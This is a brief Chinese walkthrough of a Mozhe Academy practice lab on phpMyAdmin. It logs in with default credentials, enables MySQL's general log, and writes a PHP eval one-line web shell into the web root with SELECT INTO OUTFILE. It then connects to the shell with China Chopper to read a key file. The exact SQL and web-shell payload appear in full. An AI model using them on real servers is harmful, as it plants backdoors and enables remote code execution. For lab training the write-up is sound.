墨者学院靶场 新手区 web phpMyAdmin后台文件包含分

1.在墨者学院找到该靶场并点击启动靶场
2.点击访问，进入靶场环境，并尝试默认口令（root，root），登陆成功
3.查看MySQL是否限制导入导

show global variables like '%secure%';

4.查看MySQL日志状态

show variables like '%general%';

5.利用日志文件写入一句话木马
开启general_log ：

set global general_log='on';

6.尝试直接通过into outfile写入一句话木马,访问执行成功

select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shyy.php';

7.使用菜刀连接

image.png

8,从根目录找到key.txt

9.key.txt内容如下

image.png